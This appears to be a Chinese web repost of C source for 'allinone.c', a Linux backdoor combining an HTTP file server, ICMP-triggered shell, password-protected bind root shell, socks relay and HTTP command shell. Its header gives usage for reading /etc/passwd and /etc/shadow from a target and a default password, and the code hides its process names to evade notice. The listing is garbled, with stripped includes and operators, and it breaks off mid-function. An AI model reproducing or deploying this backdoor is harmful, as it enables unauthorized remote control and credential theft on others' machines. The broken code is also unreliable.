分享
 
 
 

一个多功能linux后门的源代码

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

/************************************************************************

* allinone.c for HUC(2002)

*

* allinone.c is

* a Http server,

* a sockets transmit server,

* a shell backdoor,

* a icmp backdoor,

* a bind shell backdoor,

* a like http shell,

* it can translate file from remote host,

* it can give you a socks5 proxy,

* it can use for to attack, jumps the extension, Visits other machines.

* it can give you a root shell.:)

*

* Usage:

* compile:

* gcc -o allinone allinone.c -lpthread

* run on target:

* ./allinone

*

* 1.httpd server

* Client:

* http://target:8008/givemefile/etc/passwd

* lynx -dump http://target:8008/givemefile/etc/shadow shadow

*

* 2.icmp backdoor

* Client:

* ping -l 101 target (on windows)

* ping -s 101 -c 4 target (on linux)

* nc target 8080

* kissme:) -- your password

*

* 3.shell backdoor

* Client:

* nc target 8008

* kissme:) -- your password

*

* 4.bind a root shell on your port

* Client:

* http://target:8008/bindport:9999

* nc target 9999

* kissme:) -- your password

*

* 5.sockets transmit

* Client:

* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port

* http://target:8008/socks/:1080::192.168.0.1:::21

* nc target 1080

*

* 6.http shell

* Client:

* http://target:8008/givemeshell:ls -al (no pipe)

*

* ps:

* All bind shell have a passwd, default is: kissme:)

* All bind shell will close, if Two minutes do not have the connection.

* All bind shell only can use one time until reactivates.

*

*

* Code by lion, e-mail: lion@cnhonker.net

* Welcome to HUC, Http://www.cnhonker.net

*

* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)

* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.

*

************************************************************************/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define HTTPD_PORT 8008

#define BIND_PORT 8888

#define ICMP_PORT 8080

#define TRAN_PORT 1080

#define SIZEPACK 101

#define MAXSIZE 32768

#define TIMEOUT 120

#define CONNECT_NUMBER 1

#define HIDEME "[login] "

#define HIDEICMP "[su] "

#define HIDEFILE "[bash] "

#define GET_FILE "givemefile"

#define SHELL_NAME "givemeshell"

#define BIND_NAME "bindport"

#define TRAN_NAME "socks"

#define DISPART ":"

#define DISPART1 "::"

#define DISPART2 ":::"

#define PASSWORD "kissme:)"

#define MESSAGE "\r\n========Welcome to http://www.cnhonker.net========\r\n==========You get it, have a goodluck. :)=========\r\n\r\nYour command: \0"

#define GIVEPASS "\r\nEnter Your password: \0"

#define max(a, b) (a)(b)?(a) : (b)

int maxfd, infd, outfd;

unsigned char ret_buf[32768];

int daemon_init(); /* init the daemon, if success return 0 other

void sig_chid(); /* wait the child die */

int TCP_listen(); /* success return 1 else return -1 */

char * read_file(); /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */

ssize_t writen_file(); /* writen data to socket */

int bind_shell(); /* bind a root shell to a port */

int get_shell(); /* get me the root shell */

int icmp_shell(); /* icmp backdoor */

int socks(); /* socks */

int create_socket();

int create_serv();

int client_connect();

int quit();

void out2in();

char x2c(); /* http shell */

void unescape_url();

void plustospace();

/* The main function from here */

int main(int argc, char *argv[])

{

int fd, len, i, icmp;

int csocket;

struct sockaddr_in caddr;

char readstr[4000];

char *cbuf;

pid_t pid;

/* make it to a daemon */

/*signal(SIGHUP, SIG_IGN);*/

signal(SIGCHLD, sig_chid);

daemon_init();

if((pid = fork()) == -1) exit(0);

if(pid

{

strcpy(argv[0], HIDEICMP);

icmp_shell();

}

fd = TCP_listen(HTTPD_PORT);

if(fd

for(;;)

{

strcpy(argv[0], HIDEME);

/* check httpd */

len = sizeof(caddr);

if((csocket = accept(fd, &caddr, &len))

if((pid = fork()) == -1) continue;

if(pid

{

strcpy (argv[0], HIDEFILE);

i = recv(csocket, readstr, 4000,0);

if (i == -1) break;

if( readstr[ i -1 ] != '\n' ) break;

readstr = '\0';

/*printf("Read from client: %s \n", readstr);*/

cbuf = read_file(readstr, csocket);

close(csocket);

}

close(csocket);

}

close(fd);

return(1);

}

/* init the daemon, if success return 0 other

int daemon_init()

{

struct sigaction act;

int i, maxfd;

if(fork() != 0) exit(0);

if(setsid()

act.sa_handler = SIG_IGN;

/*act.sa_mask = 0;*/

act.sa_flags = 0;

sigaction(SIGHUP, &act, 0);

if(fork() != 0) exit(0);

chdir("/");

umask(0);

maxfd = sysconf(_SC_OPEN_MAX);

for(i=0; i

close(i);

open("/dev/null", O_RDWR);

dup(0);

dup(1);

dup(2);

return(0);

}

/* wait the child die */

void sig_chid(int signo)

{

pid_t pid;

int stat;

while((pid = waitpid(-1, &stat, WNOHANG))0);

printf("children %d died\n", pid);

return;

}

/* success return 1 else return -1 */

int TCP_listen(int port)

{

struct sockaddr_in laddr ;

int fd;

socklen_t len ;

fd = socket(AF_INET, SOCK_STREAM, 0);

len = sizeof(laddr) ;

memset(&laddr, 0, len) ;

laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;

laddr.sin_family = AF_INET ;

laddr.sin_port = htons(port) ;

if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);

if(listen(fd, 5)) return(-1);

return(fd);

}

/* http server */

char * read_file(char *buf, int fd)

{

char *erro=

"Content-type: text/html\n\n"

"HTTP/1.1 404 Not Found\n"

"Date: Mon, 14 Jan 2002 03:19:55 GMT\n"

"Server: Apache/1.3.22 (Unix)\n"

"Connection: close\n"

"Content-Type: text/html\n\n"

"\n"

"\n"

"

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有